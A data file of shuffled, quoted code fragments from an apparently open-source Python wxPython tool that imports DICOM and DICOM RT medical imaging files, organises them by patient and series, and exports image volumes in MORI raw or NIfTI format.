"in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in",
"font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients tree control self.root = self.InitTree() # Initialize",
"sort = 'IPP' # Determine if all images in the series are parallel",
"'Series {}: {}. ({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if series['numimages']==1 else",
"str(patient['name']) + ' (' + patient['id'] + ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name,",
"wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return",
"msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Warning',",
"to the tree control.\"\"\" # Create a hash for each patient h =",
"5) foundstructure = True # If no structures were found, add the plan",
"in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir,",
"elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort",
"{:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital))",
"10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports",
"self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search for RT Doses if 'doses' in patient:",
"# Copyright (c) 2009-2017 <NAME> # Copyright (c) 2009 <NAME> # This file",
"dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for export in self.selected_exports: info =",
"self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert,",
"self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search for RT",
"cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag = 'vol'",
"util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'),",
"wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import * import numpy as np from dicompylercore",
"self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX,",
"not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure,",
"the XRC file for our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None,",
"Dose Grid or DVH' if (dose['summationtype'] == \"BEAM\"): name += \" (Beam \"",
"= wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self,",
"ret = dlgDicomImporter.ShowModal() # Save configure conf = {} with open('.dcmconverter.conf', 'w') as",
"structures were found, add the plan to the study/series instead if not foundstructure:",
"dp.ds.Modality in ['RTSTRUCT']: if not 'structures' in patients[h]: patients[h]['structures'] = {} structure =",
"filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n == 0): patient = {} patient['rxdose'] =",
"ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel",
"%s', mori_fname) header_name = write_mori(image_array, reso, mori_fname, True) with open(header_name, 'r') as f:",
"os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue())",
"f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif '' == field: pass",
"in patient: for studyid, study in patient['studies'].items(): name = 'Study: ' + study['description']",
"'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders')",
"if not (dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']:",
"5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No RT Dose",
"foundstructure = False if 'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure",
"default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item has data, check to see whether",
"rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def",
"cGy\" rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient,",
"False if (series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not",
"image in patient['images'].items(): appendImage = False # used for image series if 'id'",
"category=wx.wxPyDeprecationWarning) from wx.xrc import * import numpy as np from dicompylercore import dicomparser",
"patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to the tree if they",
"befor the tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt):",
"[] unsortednums = [] sortednums = [] images = patient['images'] sort = 'IPP'",
"or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color image!') return if dp.ds.BitsAllocated == 16:",
"patients[h]['images'][image['id']] = image # Create each RT Structure Set elif dp.ds.Modality in ['RTSTRUCT']:",
"= float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m =",
"series in patient['series'].items(): foundseries = False if (series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem(",
"not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan",
"i, img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array",
"dose: if (structureid == dose['rtss']): foundstructure = True if (structure['referenceframe'] == dose['referenceframe']): foundstructure",
"value): \"\"\"Show or hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) #",
"{}\\r'.format(field,'LPF')) elif '' == field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export",
"nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK:",
"= dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise it is a",
"cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n in range(0, len(filearray)): if terminate():",
"be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory search as soon as",
"= rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array = np.transpose(image_array, (1,0,2)) if",
"'RT Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No",
"patient['rtplan'] = dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray),",
"generated.') def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor",
"without DVH' else: if dose['hasdvh']: name = 'RT Dose without Dose Grid (DVH",
"InstanceNumber or AcquisitionNumber) if 'images' in patient: sortedimages = [] unsortednums = []",
"XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self,",
"self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose",
"field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field:",
"= [] sortednums = [] images = patient['images'] sort = 'IPP' # Determine",
"' - Dose: ' + str(rxdose) + ' cGy' if 'structures' in patient:",
"self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan not found\", 8) dose['treeid'] =",
"planid, plan in patient['plans'].items(): foundplan = False if (planid == dose['rtplan']): foundplan =",
"patient['structures'].items(): if 'plans' in patient: for planid, plan in patient['plans'].items(): name = 'RT",
"\\ ' - Dose: ' + str(rxdose) + ' cGy' if 'structures' in",
"self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected by the user.\"\"\" self.terminate =",
"'RT Dose without DVH' else: if dose['hasdvh']: name = 'RT Dose without Dose",
"(images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add the sort descriptor to",
"dialog.\"\"\" self.terminate = True super().OnCancel(evt) def main(): app = DcmConverterApp(0) app.MainLoop() if __name__",
"foundplan = True rxdose = None if dose['hasgrid']: if dose['hasdvh']: name = 'RT",
"\"\"\"Initialize the tree control for use.\"\"\" iSize = (16,16) iList = wx.ImageList(iSize[0], iSize[1])",
"# If no structures were found, add the plan to the study/series instead",
"OnInputName(self, evt): self.output_name = evt.GetString() def AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Error',",
"OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file for our gui resources self.res =",
"32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows,",
"'plans' in patient: for planid, plan in patient['plans'].items(): name = 'RT Dose not",
"patient['plans'].items(): if 'rtplan' in item: if (planid == item['rtplan']): filearray.append(plan['filename']) if not rxdose:",
"control self.root = self.InitTree() # Initialize the patients dictionary self.patients = {} #",
"minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study",
"plan in patient['plans'].items(): foundstructure = False planname = ' (' + plan['name'] +",
"in patient: for doseid, dose in patient['doses'].items(): foundplan = False if 'plans' in",
"0 patients.' elif (len(patients) == 1): progressStr = 'Found 1 patient. Reading DICOM",
"= dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients = {}",
"conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name']",
"patients[h] = {} patients[h]['demographics'] = patient if not 'studies' in patients[h]: patients[h]['studies'] =",
"images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add the sort descriptor to a list to",
"for RT structure set if 'series' in item: if (item['series'] == image['series']): appendImage",
"= files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds",
"the reference (prescription) dose is in cGy. import hashlib, os, threading, functools, json,",
"the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class",
"float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName,",
"Dose: \" + str(int(b['dose'])) + \" cGy\" rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'],",
"= False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose controls except on",
"\"\"\"Main app file that convert DICOM data via a wxPython GUI dialog.\"\"\" #",
"filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in all_export_threads] #[th.join() for",
"{} plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID",
"InitTree(self): \"\"\"Initialize the tree control for use.\"\"\" iSize = (16,16) iList = wx.ImageList(iSize[0],",
"#added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX,",
"see whether there is an rxdose if not (self.tcPatients.GetItemData(item) == None): data =",
"are parallel, sort by ImagePositionPatient if parallel: sort = 'IPP' else: # Otherwise",
"structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe']",
"if (dose['summationtype'] == \"BEAM\"): name += \" (Beam \" + str(dose['beam']) + \":",
"by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat,",
"sort descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images' in patient: sortedimages =",
"dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color image!')",
"if not guiutil.IsGtk(): self.EnableRxDose(False) # If a previous search thread exists, block until",
"dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient",
"basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start()",
"dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss']",
"\" (Beam \" + str(dose['beam']) + \": \" if dose['beam'] in plan['beams']: b",
"not foundplan: if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH' else:",
"self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') #",
"# Add the patient to the tree if they don't already exist if",
"terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile)",
"+= b['name'] if len(b['description']): name += \" - \" + b['description'] name +=",
"XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name = '' # Set the dialog font",
"self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat,",
"patient): \"\"\"Add a new patient to the tree control.\"\"\" # Create a hash",
"filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) # If no plans were found,",
"def OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def OnInputName(self, evt): self.output_name = evt.GetString() def",
"image to %s', mori_fname) header_name = write_mori(image_array, reso, mori_fname, True) with open(header_name, 'r')",
"iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG))",
"for s, slice in enumerate(sortednums): for i, image in enumerate(images): if (sort ==",
"DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog that will Import DICOM and DICOM RT",
"interface when the selected item has changed.\"\"\" item = evt.GetItem() # Disable the",
"Structure Set: ' + structure['label'] for seriesid, series in patient['series'].items(): foundseries = False",
"= XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym =",
"self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512')",
"{} image = {} image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] = seinfo['id']",
"XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self,",
"'InstanceNumber' # Otherwise sort by Acquisition Number elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber):",
"{}: {}. ({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if series['numimages']==1 else 'images')",
"8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos",
"self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog since we",
"'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name =",
"(len(patients) == 1): progressStr = 'Found 1 patient. Reading DICOM data...' elif (len(patients)",
"patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image # Create each RT",
"enter valid output dir!') return if not self.output_name: self.AlertDialog('Please enter valid output file",
"series['description'] + ' (' + modality + ', ' #numimages = str(series['numimages']) +",
"with this distribution, also # available at https://github.com/bastula/dicompyler/ # # It's assumed that",
"'t'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and",
"= pixel_array * slope + intercept + self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2,",
"= evt.IsChecked() self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected",
"terminate or not.\"\"\" return self.terminate def DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc, foundFunc,",
"image['filename'] = files[n] image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages']",
"+ ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients):",
"if not 'images' in patients[h]: patients[h]['images'] = {} image = {} image['id'] =",
"seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe'] == dose['referenceframe']): badstructure =",
"name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create new dir [%s]\",",
"class DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog that will Import DICOM and DICOM",
"'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate'",
"RT Dose files were found else: name = 'RT Plan not found' badplan",
"5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search for",
"block until it is done before # starting a new thread if (hasattr(self,",
"# Add the respective rtss files to the filearray if they exist if",
"b['description'] name += \")\" if \"dose\" in b: name += \" - Dose:",
"filearray if they exist if 'images' in patient: for imageid, image in patient['images'].items():",
"wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def",
"status to false intially self.terminate = False # Hide the progress bar until",
"self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by",
"if parallel: sort = 'IPP' else: # Otherwise sort by Instance Number if",
"filearray, rxdose) # If no plans were found, add the dose to the",
"if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError,",
"if 'rtss' in item: if (structureid == item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] ==",
"numpy as np from dicompylercore import dicomparser from pyDcmConverter import guiutil, util class",
"the path is valid if os.path.isdir(path): files = [] for root, dirs, filenames",
"Import process interface elements.\"\"\" if not length: percentDone = 0 else: percentDone =",
"name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No RT",
"if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return if self.export_nii_format: out_dir",
"self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf',",
"in enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in LPI",
"not a valid DICOM file.\", files[n]) else: patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest()",
"'IPP'): sortednums = sorted(unsortednums, reverse=True) # Otherwise sort image numbers in ascending order",
"search subfolders for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate = True self.OnDirectorySearch() def",
"patients = {} # Check if the path is valid if os.path.isdir(path): files",
"if (self.import_search_subfolders == False): break for n in range(len(files)): # terminate the thread",
"OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def OnInputName(self, evt): self.output_name = evt.GetString() def AlertDialog(self,",
"return if dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated ==",
"dp.ds.Modality in ['RTDOSE']: if not 'doses' in patients[h]: patients[h]['doses'] = {} dose =",
"if (hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree,",
"If no series were found, add the rtss to the study if not",
"exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search subfolders for DICOM data.\"\"\"",
"image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos =",
"in patient: foundseries = False name = 'RT Structure Set: ' + structure['label']",
"np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel = False",
"# Otherwise it is a currently unsupported file else: logger.info(\"%s is a %s",
"filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No RT Dose files were found",
"function to update the gui wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...') if (len(patients)",
"= evt.GetString() def AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy()",
"also # available at https://github.com/bastula/dicompyler/ # # It's assumed that the reference (prescription)",
"conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset)",
"in patients[h]: patients[h]['doses'] = {} dose = {} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] =",
"self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients tree control self.root = self.InitTree()",
"wx.CallAfter(progressFunc, 97, 100, 'Export RAW image completed') if self.export_nii_format: import nibabel as nib",
"the images back to the patient dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images'] =",
"in self.patients: self.patients[h] = {} self.patients[h]['demographics'] = patient name = str(patient['name']) + '",
"an item to be selected in the tree control.\"\"\" # Add the respective",
"1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color image!') return if dp.ds.BitsAllocated ==",
"currently unsupported file else: logger.info(\"%s is a %s file and is not \"",
"the interface when the selected item has changed.\"\"\" item = evt.GetItem() # Disable",
"terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n])",
"seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] =",
"seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not 'images' in patients[h]: patients[h]['images'] =",
"patient to the tree control.\"\"\" # Create a hash for each patient h",
"= self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for series and images if 'series' in",
"wxPython GUI dialog.\"\"\" # Copyright (c) 2018-2020 <NAME> # Copyright (c) 2009-2017 <NAME>",
"= self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0]",
"foundstructure = False if (structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure",
"= [] unsortednums = [] sortednums = [] images = patient['images'] sort =",
"6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not foundstructure: #",
"+ 1 patients[h]['images'][image['id']] = image # Create each RT Structure Set elif dp.ds.Modality",
"(np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel = False break # Also test ImagePositionPatient, as",
